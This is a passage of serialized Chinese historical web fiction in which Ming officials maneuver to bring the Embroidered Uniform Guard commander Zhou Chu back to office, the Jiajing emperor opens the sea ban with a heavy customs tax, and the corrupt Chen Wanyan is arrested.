最起码周楚很守规矩,从不会僭越,不会想着插手官员的任命。 像陈万言这种,才是让他们感到最头疼的。 这一招驱虎吞狼,未必是多好的计策,却是目前他们能想到的最有效的办法。 “那就按阁老的办法办吧。” 夏言有些无奈道。 如非必要,夏言是一点都不想面对周楚的,每次面对周楚,夏言都感到了一股深深地无力感,好像自己所有的手段对这个年轻人而言都没有任何作用。 第二日朝会上,陈万言一方的官员按照惯例开始弹劾其他官员。 “陛下,臣以为,监察百官这事,让周指挥使来做最合适,正所谓在其位谋其政。” 杨一清直接出列,打断了一众官员的话。 嘉靖听到这话,顿时来了兴致,心想终于忍不住了。 “可是衡器这一年劳苦功劳,确实太过劳累了些,朕前些日子才让他去休息。” 嘉靖迟疑道。 “陛下,周指挥使正是年富力强的时候,不像我们这些老家伙,怎么会感觉到累呢?臣倒是觉得首辅大人说的很有道理。” 夏言也出列道。 “哦?公谨之前不是说衡器迫害忠良吗?怎么现在又为他说话了?” 嘉靖饶有兴致地看着夏言道。 夏言听到这话,心里都想骂娘了,心说谁知道没了周楚,又来了个陈万言,但凡有一点办法,他也不会如此。 “是啊尚书大人,如此前后不一,岂不可笑?” 如果说谁最不想让周楚回来,陈万言首当其中,现在的陈万言在朝中可谓是要风得风要雨得雨,周楚一旦回来掌握了锦衣卫和北镇抚司,很多事就不是他说了算了。 更何况陈万言可是很清楚的,他和周楚之间的矛盾似乎更大,这位如果回来,再得到皇上的恩宠,陈万言还真没信心是否能搞得过周楚。 “陈大人此言差矣,正所谓此一时彼一时,以前在下只是没有看清,就像之前京城中之中的百姓也都以为周大人在迫害忠良,但仔细想想,周大人从未收过任何人的好处,那些被查抄的官员也没有被冤枉的。” 夏言为官多年,脸皮厚的像城墙,自然不会因为嘉靖和陈万言的话就不好意思。 “倒是陈大人,在下听闻陈府门口,每日排队送礼的看不到头,那一箱箱的银钱都被抬进了陈府,和陈大人一比,周指挥使才是真的为国为民。” 夏言临了还不忘阴阳了一把陈万言。 “夏大人真是血口喷人,这等没有证据的事,夏大人还是慎言。” 陈万言一听这话,顿时急了,他的事根本瞒不住,每天排着队送礼的人实在是太多,甚至陈万言都没想着瞒住嘉靖。 他觉着嘉靖没追究便是对自己做的事睁一只眼闭一只眼。 “好了,说衡器就说衡器。” 嘉靖一句话将有些跑偏的话题拽了回来。 “用修,你怎么看?” 嘉靖看向了杨慎。 “臣以为君无戏言,陛下既然让周衡器休息了,那便让他好好休息一段时间,正所谓磨刀不误砍柴工。” 杨慎巴不得继续看乐子,这些天杨慎眼看着杨一清和夏言被陈万言折腾的鸡飞狗跳,心中无比痛快。 而且杨慎也看出来了,陈万言的人弹劾官员都是有规律的,专门挑杨一清和夏言那边的人弹劾,杨慎不知道是巧合还是有人刻意引导,但无论如何,这种场面都是杨慎希望看到的。 每次朝会上看陈万言的人疯狂攀咬,杨一清和夏言无可奈何的模样,让杨慎感到极为痛快。 “是啊陛下,周大人劳苦功高,既然休息了,那便好好休息一段时间。” 韩玠此时也咂摸出味道来了,出列道。 于是朝堂上极为滑稽的一幕就出现了,昔日站在周楚这边的杨慎韩玠等人,纷纷反对周楚的复出,那些昔日捧杀或者弹劾周楚的人,纷纷奏请让周指挥使复出。 一时之间,没人再关注陈万言手下的那些官员的弹劾了。 第173章 嘉靖的赏赐,杨一清的拜帖 最终,起复周楚这件事还是在嘉靖和杨慎等人的推脱之下,还是暂时搁置了。 无论是嘉靖还是杨慎都明白一个道理,轻易得到的人或者东西,没人会珍惜,周衡器也不是那般轻贱的,你想捧杀便捧杀,想弹劾便弹劾,现在需要周衡器来收拾烂摊子了,一句话就起复? 这世上哪有这般便宜的事。 杨一清和夏言也是明白这个道理的,也没指望皇帝立刻就同意,不过今日朝会,皇帝倒是没有理会那些弹劾的官员,这倒是个好现象。 不过杨一清等人也清楚,这种情况,不过是饮鸩止渴,一次两次皇帝不会理会,次数多了,也就没用了,想要彻底解决陈万言,还是得让周楚出面。 没上朝的这两日,杨一清和夏言这边的官员纷纷上疏,请求起复周楚。 内阁票拟之后,将其中最有代表性的十几份奏疏呈到了嘉靖面前,嘉靖在御书房之中看着这些奏疏,嘎嘎直乐。 “杨一清他们也有今天,瞧瞧,这话说的,说衡器为国为民,想捧又不敢捧的太过,没给他们憋死。” 嘉靖自然清楚这些官员的心思,这些奏疏能到自己面前,都是经过杨一清和杨慎等人筛选的,奏疏之中说话拿捏的分寸刚刚好,既能体现周楚对大明重要的作用,又不会让嘉靖忌惮。 生怕吹捧的过了,起到了反效果。 “陛下只要略施小计,就把杨一清他们耍的团团转。” 陆炳拍马屁道。 “这你就不懂了,阳谋之所以是阳谋,完全是因为施展计谋的人拥有绝对的实力和话语权,倘若朕刚登基那会用这种计谋,恐怕陈万言早就被那些文官弄死了。” 嘉靖并没有因为陆炳的恭维而得意忘形。 “朕之所以有如今的局面,朝堂上没了杨廷和,杨一清也被杨用修和夏言制衡着,全赖衡器一年前的功劳,而且如今整个江南都掌握在朝廷手中,和以前可大不相同,兵权也收回来了很大一部分。” “没有这种局面,贸然施展此等计谋,那些文官根本不会和你按部就班的来,直接无数罪名安在陈万言头上,陈万言不死也得死。” 嘉靖一边说,一边看着奏折直乐。 “对了,今年安南那边送来的沉香,黄锦你拿一些去给衡器,还有那些玛瑙血珊瑚什么的,挑好的给衡器送过去些,还有云瑾,文孚,回头给你妹妹也带回去些,朕还没有好好赏赐过她。” 嘉靖看着陆炳和黄锦道。 “奴才这就去办。” 黄锦听到这话,不敢怠慢,转身离开了御书房。 “多谢陛下隆恩。” 陆炳恭敬道。 “这算哪门子隆恩?云瑾做的那些事,收复安南的功劳被你领了,可那些海上的倭寇,可都是她荡平的,也就是暂时不能明面上商她,等以后可以公开的时候,一起封赏吧。” 嘉靖叹了口气道。 近半年的剿倭,陆地上的倭寇都是由周楚带领虎贲军荡平的,海上的则是由云瑾带着玄武军完成的,不说收复安南,单单是剿倭,云瑾立下的功劳就很大了。 只是目前虎贲军和玄武军还不适合公开,甚至很长一段时间内都不适合面对大众。 之前周楚就和嘉靖谈过这件事,嘉靖也明白,这两支部队都是王牌中的王牌,任何一支都抵得上数万大军。 这种军队的存在会让那些个文官坐立不安,欲除之而后快。 将其隐藏起来,是对虎贲军和玄武军将士的一种保护。 暗中该授予的职务却是一个不少的,比如玄武军之中,就有两个千总,近二十个百户,云瑾身为玄武军的统帅,也被嘉靖暗中封为镇海将军,镇海将军这个称呼都是嘉靖单独为云瑾创立的。 “陛下的赏赐和封赏已经够多了,再多,小妹福薄,也承担不起。” 陆炳急忙道。 这些话是云瑾特意交代他的,一旦皇帝想要赏赐云瑾的时候,就让陆炳想办法推辞,如今的陆家陆炳封了侯,陆松是锦衣卫千户,将来陆炜还要走仕途,云瑾在外统帅玄武军。 这一家子加起来可谓是权势滔天,看似如日中天,但无论是云瑾还是周楚都很清楚,当权势越大的时候,也就越危险。 知进退很重要,就像周楚,才是真正的权势滔天,单单周楚掌握的权势,整个陆家加起来都还差得远。 周楚还为大明,为皇帝,为百姓立下了天大的功劳,即便如此,朝中官员一通捧杀,皇帝即便再信任周楚,心里也得嘀咕两声。 倘若嘉靖真的对周楚完全信任的话,就不会将周楚从江南召回京中了,召回来就是要看一看周楚的态度。 好在周楚将所有的事都处理的很好,打消了嘉靖的顾忌。 也得亏死嘉靖,换了其他人当皇帝,还是这个年纪,根本不可能容得下周楚。 年龄越小,掌握局势的能力越差,能力越差,越是忌惮有能力的人,比如满清的康熙,非要一拍脑袋擒鳌拜,还用的是如此上不得台面的手段。 鳌拜最多只能算个权臣,没有任何不臣之心,以八旗的制度,鳌拜也根本不存在造反成功的可能,康熙无论是擒鳌拜还是削三藩,都差点葬送了满清的国运,可谓是昏招频出。 嘉靖听到这话,叹了口气,也没有继续坚持,他也知道陆炳在怕什么,怕陆家隆宠过盛,遭人嫉恨,这也是人之常情。 另外一边,杨一清觉得自己不能坐以待毙,得主动出击,先去说服周楚,做好准备,只要周楚愿意了,这事就好办了。 于是杨一清让人去周府送上拜帖。 “少爷,这是首辅杨大人的拜帖。” 春兰拿到拜帖之后,不敢怠慢,直接拿到了周楚面前。 此时的周楚还在饮酒作乐,旁边的柳思思听到首辅居然递上了拜帖,心中愈发震惊,这些天在周府的所见所闻,让柳思思很难将周楚和一个失了势的锦衣卫指挥使联系在一起。 北镇抚司镇抚使陆万山在周楚面前都毕恭毕敬,周府之中随处可见锦衣卫值守,如今更离谱的是,内阁首辅杨一清居然递来了拜帖? 这是失了势?这怕不是掌控着整个朝局吧? 柳思思不敢深想,急忙低下了头,恭敬地替周楚斟酒。 “不急。” 周楚接过拜帖,看都没看,随意的丢在了一旁,然后右手在膝盖上打着拍子,看着下面的女人跳舞。 第174章 嘉靖开海 对于拜帖石沉大海这事,杨一清一点都不意外,他对周楚有着充足的认知,这个锦衣卫指挥使虽然年纪不大,城府却不是一般的深,是个走一步看十步的主。 若是换成其他同龄人,看到内阁首辅的拜帖,恐怕会很高兴,当即就让人送了回帖,但这个人是周楚,杨一清丝毫不感到意外。 “再让人去送拜帖,从今日起,每日送一份。” 杨一清倒也不着急,到了他这个年纪,从来都沉得住气,天塌了有个高的顶着,就算他这边的官员全都被陈万言整死了,也不关他的事,他都这个年纪了,还能干几年? 所以很多事杨一清都是尽人事听天命,该做的去做了,至于成与不成,其实对他而言已经不太重要了。 主要是杨一清认清了形势,不再想着掌控整个朝局了,如今的大明朝局,只有一个人能掌控,那便是皇帝,皇帝手中有一把利刃,那便是周楚。 这一点,杨一清看清了,也认命了,夏言也看清了,但他不认命,因为夏言才四十岁,他的路还有很长,如今的夏言不过是选择蛰伏起来,静待时机。 杨府的管家听到这话,不敢怠慢,每日一份拜帖往周府递。 周府,周楚让这些来自教坊司的清倌人一个个穿上自己设计的开叉旗袍,跳起舞来那叫一个春光乍泄,一条条美腿看的周楚旁边的沈炼脸都红了。 “你喜欢哪个?” 周楚看着沈炼这副模样,调侃道。 “大人不要开玩笑了。” 沈炼窘迫道。 对于这些教坊司的清倌人,沈炼自然不会有其他心思,不过他长这么大没见过这等春光,此时才显得无比窘迫。 更何况沈炼是练武奇才,原本也不准备这么早就破了身子,他原本的计划之中,是想要二十岁左右再成家。 “男人嘛,食色性也。” 周楚笑道。 虽然是这么说,但周楚也只是过过眼瘾,这旗袍设计的还是相对保守的,开的叉并没有太高,周楚前世什么没见过?所以看了也不会勾起地火。 这些清倌人倒觉得这一身旗袍极美,一般的良家子是不会穿这等略显放荡且不守妇道的衣物,或许夫妻之间关上门来可以穿一穿,但断不可能穿给外人看。 但她们就没有这等限制了,清倌人虽然不是红倌人,不需要卖身,但在教坊司这等地方,穿着自然不会和一般的良家子一般无二。 这旗袍虽说开了叉,却也不高,而且旗袍本身就是很好看的,所以她们也都很喜欢穿,当然,也仅限于在周府穿,一旦回到了教坊司,她们便会换回原来的衣物,变成一副清贵的模样。 杨一清让人连递了两日的拜帖,没等到周楚的回帖,第三日该上早朝了。 一想到上早朝,杨一清就有些头疼,如今的皇帝有些过于勤勉了,早朝一次不落,有些时候还要增加一次临时朝会,这让杨一清有些想念朱厚照了。 朱厚照的朝会就不会如此勤勉,很多时候都是六七日开一次朝会。 好在杨一清岁数大了,年纪大的人觉少,倒也不会起床困难。 来到朝会之上,陈万言的人首先开始例行公事般发难,开始继续弹劾之前没弹劾下来的官员,嘉靖这次倒是没有无视他们,直接给办了。 嘉靖这么做,就是在给杨一清等人上压力。 杨一清叹了口气,直接出列。 “陛下,臣还是以为监察百官的事,应该交给锦衣卫,交给周指挥使来办。” 有了杨一清带头,下面的无数官员纷纷出列,开始为周楚说话。 陈万言一看这情况,顿时急了,他虽然不聪明,但也清楚这些人想让周楚起复完全是冲着自己来的,周楚要起复的话,恐怕第一个对付的就是自己。 虽然陈万言觉得自己背靠皇帝,没什么好怕的,但他也完全不想周楚给自己添堵,现在的情况多好?自己虽说不上一手遮天,但有皇帝支持,也可以说是一言九鼎。 这两日在陈府门口排队送礼的不止没减少,反而更多了。 陈万言全都来者不拒。 “陛下,臣以为首辅大人此言不妥,陛下金口玉言,让周指挥使休息,首辅大人却说这话,显然没把陛下的话放在眼里。” 陈万言实在是想不出什么好的反驳理由,只能这么说。 就这还是他手下的官员给他出的主意,否则以他的脑子根本想不出来。 “此事再议。” 嘉靖倒也没有直接拒绝,只说再议。 “诸位,先不提衡器的事了,说说开海禁的事吧,半年前朕提过一次,你们说倭寇未平,如今在纵观大明,倭寇已被尽数荡平,开海一事,可还有异议?” 嘉靖提出开海的时机很巧妙,这个时候提出开海,就是在威胁杨一清等人,你们要是不同意,我就不起复周衡器。 当然,嘉靖也清楚他们没有什么理由反对了,无论是江南集团还是其他人,都希望尽快开海,江南那边的走私商人已经半年多出不了海了。 原本没了安南的出海口,他们还可以零星的通过大明的码头出海,无非就是用银钱开路,但嘉靖直接将海关的官员换了个遍,对新上任的官员只有一个要求,不能放任何走私的船出海,否则就是抄家灭族。 如此一来,江南那些走私商人,想出海更是难上加难了,此时他们比谁都希望朝廷能开海,毕竟海上的暴利他们是知道的。 “臣也觉得是时候开海了。” 杨一清附和道。 “臣觉得我大明应当开海,扬威四海。” “臣也觉得该开海了。” 。。。。。。 有人带头,基本上所有的官员都同意了开海,只有极少数的人是反对的,这种人都是一些老顽固,也没个眉眼高低,不过嘉靖倒也不是容不下这些人,这些人在朝中有他们存在的作用。 “既然都没什么意见,那边宣旨,即日起,大明解除海禁,所有商人都可以出海行商,不过想要出海行商,需要先登记造册,出海赚取的利润收取四成税赋,但凡有偷税漏税的,罚没所有家产,禁止出海。” 嘉靖将早已准备好的话说了出来。 “陛下,这四成税赋恐怕太高了,与民争利不可取啊。” 嘉靖这话刚说完,一个六科的官员直接站了出来,一副诤臣的模样道。 第175章 嘉靖痛斥百官,无奈的杨一清 “是啊陛下,四成的税,加之于民,太过沉重。” 其他官员纷纷附和,特别是以夏言为首的江南集团的官员,更是言辞激烈。 因为海关税将关系到他们的切身利益,这玩意还不好逃税,过海关就要检查,除非能买通海关的官员。 别说是四成的税,对于习惯了几乎没有商业税的他们而言,哪怕是一成的税,都相当于在他们身上割肉。 嘉靖早就料到会是这种场面,心中不禁冷笑。 “怎么?这些出海走商的商人,什么时候算得上普通百姓了?说起与民争利,朕倒是觉得我大明那些士绅们一个个隐藏土地,兼并土地,才算是真正的与民争利。” 嘉靖面容冷峻道。 “江南土地之事还历历在目,一笔笔都记录在册,还需要朕帮诸位回忆一下吗?” 那些老家在江南的官员,听到这话,一个个都低下了头,生怕被皇帝点名。 “以前没开海的时候,这些商人也没饿死吧?他们如果觉着四成的税过高了,那就别做海上的生意,朕又不是拿刀架在他们脖子上让他们出海。” 嘉靖的话一句比一句犀利,句句让人无可辩驳。 “倒是尔等,口口声声说与民争利?到底是与民争利,还是你们舍不得自己的利益?” 嘉靖忽然厉声质问道。 一时之间,整个朝堂陷入了寂静之中,落针可闻,所有人都开始装死,能上朝的官员,一个个脸皮都比城墙还厚,寂静的气氛虽然尴尬,却不会有人出来试图缓解这种尴尬。 所有人都清楚,谁站出来,谁就会成为被集火的对象。 “要朕点名吗?” 嘉靖看着一个个装死的官员,顿时被气笑了。 “陛下,臣倒是觉得四成正合适,我大明的货物在海外很紧俏,卖的再贵一些也是供不应求。” 杨一清出列道。 海关税高不高,关他什么事?他家又没人参与走私,就算未来有人出海,那时他也恐怕早已不在首辅的位置上了,不需要他去操心了。 现在最重要的是起复周楚,解决燃眉之急,事有缓急,这个时候还和皇帝对着干,简直是不知所谓。 “是啊陛下,大半年前周指挥使不是说南洋那边,屯门岛有一批红毛鬼吗?被周指挥使全歼了,那些红毛鬼的头颅都被带到了京城,到时候可以往红毛鬼那边开辟航道,赚他们的钱。” 杨慎也出列道。 “这倒是个好主意,只有东瀛的话,不够我大明那么多商人吃的,倒是可以继续往西开辟航线。” 嘉靖听到这话,顿时来了兴致。 韩玠等人也纷纷出列,为嘉靖出谋划策,只有陈万言,脑袋空空,不知道该说些什么。 不过此时除了六科的那些个官员还有一两个头铁的想要反对收这么高的税之外,已经没人再敢反驳嘉靖了。 至于六科的这两人,根本不需要嘉靖去反驳他们,对于这种又臭又硬的,自然会有其他官员如韩玠一一驳斥他们。 六科的这些官员的立论根本就站不住脚,其中的道理很多人都明白,只不过以往大家都是揣着明白装糊涂,甚至还会推波助澜。 但今时不同往日,嘉靖掌握了绝对的话语权,再加上很多官员都希望嘉靖起复周楚,将陈万言给压下去,自然没了底气强硬的反驳。 而且嘉靖刚才说的那些话,他们确实想不出什么理由来驳斥,嫌税高?那可以不出海啊。 最终,开海以及海关税的事就这么暂时敲定了下来,眼看着杨一清和夏言都如此给面子,嘉靖也不好一直抻着他们。 “衡器的事,还得看他的意见,朕总不能强人所难吧?” 嘉靖略显无奈道。 这话其实就等于松了口,等于明着告诉杨一清等人,想要周衡器起复,可以啊,你们说服他本人就可以了。 杨一清和夏言听到这话,对视了一眼,对于嘉靖的话并不感到意外。 “臣会想办法说服周指挥使的,毕竟国事为重。” 杨一清说道。 “臣也是。” 夏言附和道。 “既如此,那便退朝吧。” 嘉靖打了个哈欠,摆了摆手道。 “用修,留步。” 不得不说,杨一清的身子骨还是硬朗,在退朝的路上硬是三步并两步追上了杨慎。 “石淙先生有何指教?” 杨慎不解道。 杨一清毕竟年近七十了,朝堂之上杨慎或许会和他争的你死我活,但下了朝,该有的礼仪还是不能少的。 “哪里说得上指教,我这把老骨头舍了老脸,这几日每日都让人去周府送拜帖,不过想来周衡器还在生老夫的气,不肯见我,老夫想着用修周指挥使关系一向都是很好的,能不能为我这把老骨头递个话?” 杨一清不愧是老狐狸,把自己的姿态放的极低,求人就要有求人的态度,他丝毫没有在杨慎面前倚老卖老,句句都在体现自己的可怜。 如果是一般人,一个内阁首辅,还是个年近古稀的老人,姿态摆的如此低来求他,他都不知道该怎么拒绝。 但杨慎又岂是一般人,他自然知道杨一清为何在自己面前如此低眉顺目,也清楚杨一清这种老狐狸到底是什么人,所以杨慎丝毫不会心软。 “首辅大人这就有些为难下官了,我和衡器关系是不错,但他这些日子都在府中整日饮酒作乐,那教坊司的清倌人都在周府多久了,首辅大人想必也有所耳闻吧?这种情况我要是去了,不是大煞风景吗?” 杨慎不为所动道。 “首辅大人不如让夏大人试试?” 杨慎话锋一转道。 “这话不用用修说,我也会往周府递帖子的,周大人为国为民,年纪轻轻又岂能如此贪图享乐?大明需要周大人,百姓也需要周大人。” 夏言大义凛然道。 离三人没多远的陈万言听到这话,心中极为不爽,好像一夜之间,整个朝堂上的大部分官员都站到了周楚那边,陈万言想不明白为何会如此。 眼看杨慎油盐不进,杨一清和夏言也就不再求他,回到府中让人再次去给周府送拜帖。 如此又连续送了两日。 “老爷,周府给回帖了。” 杨府的管家拿着一份帖子,满脸高兴地来到杨一清面前道。 第176章 杨一清夏言登门拜访,周楚的为难 不只是杨一清,夏言也收到了回帖,两人甚至还在周府门口相遇了。 “阁老,看来周大人这是同时给我们俩回了帖。” 夏言看到杨一清,瞬间就明白了,笑道。 此时在周府门口,两人对周楚的称呼都变的不一样了,不愧是久居官场的老狐狸,见人说人话,见鬼说鬼话。 “两位大人,跟我来吧。” 春兰看着两人道。 这要是在以前,春兰想都不敢想,一个内阁首辅,一个礼部尚书,居然跟在自己身后,不过如今的春兰早已今非昔比,自然不会露怯。 两人很快跟着春兰来到了周府正厅,正好看到一众清倌人在弹琴跳舞,杨一清这个年纪,自然是只能过过眼瘾,夏言看着眼前这些清倌人穿的旗袍,顿时觉得香艳无比。 不过两人都有正事,自然不会被美色迷了眼。 “周大人,你怎么还坐得住的。” 夏言一副恨铁不成钢的表情道。 “我为什么坐不住?陛下让我休息的,现在的日子多舒心,思思,给两位大人倒酒。” 周楚瞥了一眼柳思思道。 柳思思自然是知道眼前这两位的身份的,方才春兰已经通报过了,她怎么都没想到,这些天来周府的,身份一个比一个恐怖,连内阁首辅和礼部尚书都来了,柳思思急忙低头倒酒。 她虽然是教坊司的花魁,但在周楚和杨一清这种大佬面前,不敢有任何自矜身份的举动。 夏言顿时被周楚的话怼的哑口无言,不知道该说什么好。 “衡器啊,朝廷需要你,大明的百姓也需要你。” 杨一清喝了一口酒道。 “首辅大人这话太严重了,大明离了谁都一样,在下哪有如此重要。” 周楚笑着喝了杯酒,并不接话。 “如今的局面不正是首辅大人和夏大人希望看到的吗?在下记得很清楚,夏大人前面半年一直在弹劾本官。” 周楚看着夏言道。 “周大人,那时候是本官不懂事,本官自罚三杯。” 夏言说着端起桌子上的酒壶给自己倒酒,连干了三杯。 “夏大人,不知道的以为你是来我家贪酒来了,我这陈王酿如今在京城可是供不应求,虽不及那些顶级名贵的酒,却也是很贵的,第一次听说自罚喝我家的酒的。” 周楚丝毫不给夏言面子,言语之间并没有留情。 夏言听到这话,脸色顿时变红了,也不知道是憋的,还是喝酒上了头。 “是在下的不是了,不过周大人的这个陈王酿,确实美味,本官以为那些顶级的名酒也不过如此。” 夏言脸皮多厚啊,瞬间就反应了过来,根本不顺着周楚的话说,反倒是不着痕迹地拍起了周楚的马屁。 实际上还真是拍马屁,那些顶级的名酒,不说酿造工艺的复杂程度,单单是储存条件和时间都是要求极高的。 那是喝一坛少一坛,每一坛顶级名酒都极其昂贵,陈王酿虽然好喝,却和这些酒有着不小的差距。 当初周楚在江南大肆抄家的时候,倒是抄出来不少名酒,其中一部分送给唐伯虎了,周楚还特地让人给王阳明送去了一两坛,其余的一大半给了嘉靖,剩下的为数不多的,周楚让人小心存放了起来。 不同的酒对于存放地点都是有要求的,江南抄获的那些名酒想要在京城储存很困难,也不是说不能储存,只是空气湿度不同,会影响酒的口感。 周楚的那些酒都存在了苏州府的周府地窖之中,什么时候想喝了,自然会有人送来。 对于掏钱陪酒的事,夏言是只字不提。 周楚自然不会就这么放过他。 “夏大人都说了,我这酒不比那些名酒差,那夏大人就按照名酒的价格给钱吧,不然怎么能叫自罚呢?” 周楚言语之间又喝了一杯。 杨一清老成持重,坐在凳子上,丝毫不急,原本他和夏言也不是一条船上的,此时眼看着周楚要让夏言出丑,自然乐得看戏。 夏言听到这话,一脸的肉疼,任何一坛名酒,价格都极贵,抵得上醉仙楼两三顿饭了,醉仙楼虽然他也没少去,但他从未自己花过钱。 夏言有钱归有钱,但被周楚这么宰,也是满脸肉疼,此时的夏言有些后悔,自己怎么就说这陈王酿比名酒丝毫不差了。 这周衡器还真是顺杆就爬,不过夏言也清楚,自己今日既然来了,这个丑是必须要出的,否则周楚心中的气是出不来的。 毕竟夏言之前一直弹劾周楚,周楚不可能给他好脸色,任何一个身居高位的人都得有官威,未必是时时散发的,但要让所有得罪自己的人付出代价。 要知道每一个身居高位之人,背后都不知道有多少双眼睛盯着,倘若人人都可以没有后果的弹劾得罪自己,那么基本上什么都不用干了,每天就会面临无数官员的弹劾。 大佬之所以是大佬,就是因为他本身所拥有的威慑力,让人在对他做任何事之前,都要慎重再慎重。 夏言也是明白这个道理的,满脸心疼地从怀中掏出几张银票放在了桌子上。 周楚不在乎这个钱,夏言其实也不是这么在乎,但这个钱不只是钱,还是脸面。 看到银票,周楚煞有介事的将银票收了起来。 “夏大人果然财大气粗。” 夏言自然不会因为这些事生气,面子既然已经丢了,那便丢了,倘若丢了面子再得罪周楚,那才是不智之举。 “周大人哪里的话,这些钱还是我存了不知道多少年的,这三口陈王酿,可给我心疼坏了。” 夏言一脸心疼的表情道。 做戏要做足,要给足周楚情绪价值,周楚满意了,那就一切都好说了。 “首辅大人,当初你带着那些官员,对下官进行捧杀,不就是想让陛下猜忌我,如今你达到了目的,为何又来我这里?” 折腾完了夏言,周楚看向了杨一清。 有了夏言的前车之鉴,杨一清自然清楚周楚不会这么轻易放过自己,不过杨一清的脸皮比夏言还要厚得多,脸色丝毫未变。 “周指挥使此言差矣,当初老朽的发心是好的,是发自内心的觉得周大人是我大明的股肱之才,只是下面那些人说着说着就变了味道,掌握不好分寸。” 对于捧杀一事,杨一清自然是不会承认的。 周楚听到这话,淡然一笑,也没有继续追究。 “不知两位大人来我这里,所为何事?” 既然杨一清这老头不认,那自己便继续和他们打太极,反正自己不着急。 果然,杨一清听到这话,一脸无奈,他怎么都没想到这个年轻人居然如此难缠。 第180章 北镇抚司兵临陈府 第二日一早,周楚从方府离开,想起昨夜不禁摇了摇头,一朝解禁,难免有些疯狂。 方府门口,有不少锦衣卫值守着,其中就包括沈炼,沈炼是刚睡醒过来接班的。 沈炼很清楚自己的定位,所以对于周楚的私生活从不会过问,更何况沈炼早就知道方鸿是女人,跟在周楚身边这么久,周楚的事沈炼是最清楚的。 “昨天抓的那个百户,招了吗?” 周楚看着沈炼道。 “昨天下午就招了,这种软蛋根本就用不着上大刑,进了昭狱腿都软了。” 沈炼不屑道。 张俊终究是高估了自己,低估了北镇抚司,进入昭狱之后才发现事情远没有自己想的那么简单,仅仅是昭狱之中那股血腥气,就让他双腿发软。 随后经过陆万山稍微一引导,就承认了自己是陈万言派过来捣乱的。 周楚也不过是要一个对陈万言动手的理由罢了,不然刚被起复就对陈万言动手,太明显了。 虽然所有人都清楚是怎么回事,但面上还是要过得去的。 “去把陆万山叫过来。” 周楚看着另一个值守在方府门口的总旗道。 “是,大人。” 此人恭敬行礼之后,便直奔北镇抚司而去了。 周楚则和沈炼前往锦衣卫所,周楚既然已经起复了,自然是要上班的。 “大人。” 邓愈时隔一年多,再次见到指挥使大人,心情自然是有些激动的。 “邓愈是吧?” 周楚想了许久,终于想起了邓愈的名字,实在是这一年经历的人和事太多了,邓愈这个名字都快被挤出周楚的脑海了。 “是的,大人。” 邓愈受宠若惊道。 他怎么都没想到,时隔一年,指挥使大人居然还记得自己的名字,这让他感到万分的荣幸。 周楚拍了拍邓愈的肩膀,没说什么,来到自己的位置上随意坐下。 邓愈则以为自己被周楚看重,满心的激动,恨不得为周楚赴汤蹈火。 “大人,有何吩咐?” 没过多久,陆万山也来到了锦衣卫所,恭敬道。 “带上人马,去把陈万言和陈绍祖都抓进昭狱,先不要急着抄家,抓的时候注意分寸。” 周楚看着陆万山,说道。 陈万言再怎么说也是皇后的爹,陈府是皇后的娘家,即便证据十足,北镇抚司也只能先抓人,至于如何处置,还得由皇帝来做决定。 这其中的分寸倘若掌握不好的话,很容易引起皇帝内心的反感,让皇帝以为周楚没把他放在眼里。 正所谓打狗还要看主人,即便周楚清楚嘉靖对陈万言的真实态度,但明面上百官是不知道的,周楚若是失了分寸,就相当于在百官面前落了皇帝的脸面。 “大人放心,我知道该如何办。” 陆万山说完就转身回北镇抚司点上了一些老油条,那些年轻气盛的,他是一个都没叫,这种人往往下手没轻没重的,毛手毛脚。 若是其他事还好,这件事分寸如果拿捏不好,他这个北镇抚司的镇抚使就不用干了。 陆万山的人动手之前,一条消息就传遍了京城,很多官员都知道了这个消息,包括陈万言。 “什么?那个张俊说是我让他去的?” 陈万言才刚起床,听到这个消息,差点跳起来。 原本这几天他和周楚相安无事,让他觉得周楚并不会把自己如何,刚放松下来,没想到他手下的这个百户给他捅了个这么大的篓子,关键他还毫不知情。 此时的陈万言那叫一个憋屈,仿佛被人硬塞了一坨屎,却又不能去解释,一旦解释了,等于变相承认了他怕了周楚这个锦衣卫指挥使了。 如今的陈万言如日中天,手下不知道多少人看着他呢,他要是认怂了,怕那些官员认为他不行了,对他失望,这是陈万言最不愿意面对的。 所以即便是被冤枉的,陈万言也只能咬紧牙关认了。 “不就是一个锦衣卫指挥使吗?他周楚凭什么跟我横?” 陈万言来到正厅的时候,已经有不少官员在那里等着想要给他送礼了。 听到陈万言这话,这些人眼睛顿时亮了。 “那是,陈大人是何等身份,区区一个锦衣卫指挥使,也敢和大人叫板?” 其中一人满脸谄媚道。 “就是,如今的满朝文武,谁见了大人不得礼敬三分?首辅如何?礼部尚书如何?还不是拿大人毫无办法?他周楚不过是一个锦衣卫指挥使,倚仗的不过是陛下罢了,陛下肯定会站在陈大人这边。” 另一个人附和道。 陈万言听到这话,底气愈发的足了。 “以前本官不想与他一般见识,但他要是不识抬举,本官就会让他知道花为何这样红。” 说这话的时候,陈万言意气风发。 “那是,周楚算个什么东西?也敢和爹你叫板?” 陈绍祖此时也来到了正厅,打着哈欠道。 昨夜他新纳了个小妾,原本准备大战一场,却不想身体不允许,他这些天夜夜笙歌,每天做新郎。 原本就不怎么结实的身子骨哪里经得起这么折腾,最终只能草草收场,不然的话,此时也起不来。 “大人,我特意托人从安南那边弄了一块上好的沉香木,您给掌掌眼?” 其中一人说着,示意下面的人抬上来一箱箱银钱,陈万言父子看的双眼放光,以前的穷苦日子过怕了,现在他们看这些黄白之物却是怎么都看不够。 随后此人从怀中掏出一个小盒子,从里面取出一块沉香木。 “大人,大人。” 此人看着陈万言那副财迷的表情,心中鄙夷,面上却是无比谄媚的叫了两声大人。 陈万言这才反应了过来,看向了那人手中的沉香木。 他哪懂这个,正所谓山猪吃不来细糠,这个官员大概也是拿准了陈万言不懂,所以随意取了一块上品的沉香木装到盒子里的。 上品沉香木虽然也值钱,但并不罕见,甚至可以说有钱就能买到。 “大人,这个可是千年沉香木,每一块千年沉香木都价值千金。” 此人煞有介事道。 陈万言不懂沉香木,但懂钱,听到价值千金,顿时双眼放光,从那人手上接了过来。 “好东西,好东西啊。” 正在陈万言把玩着沉香木的时候,陈府的管家急匆匆的跑了进来。 “大人,不好了,北镇抚司的陆万山来了。” 陈府管家前脚刚到,陆万山带着锦衣卫后脚就跟了过来。 这还是陆万山有意放慢脚步,否则这个管家怎么可能跑得过他们。 “陈大人,您公然贪墨如此多的钱财,跟我们走一趟吧。” 陆万山指着正厅摆放着的几个大箱子和里面的财物道。 第178章 沈青和方鸿大婚,各方齐聚,楚璃回京 周楚起复之后,并没有急着让锦衣卫查陈万言,毕竟一上来就搞陈万言,就显得太过明显了。 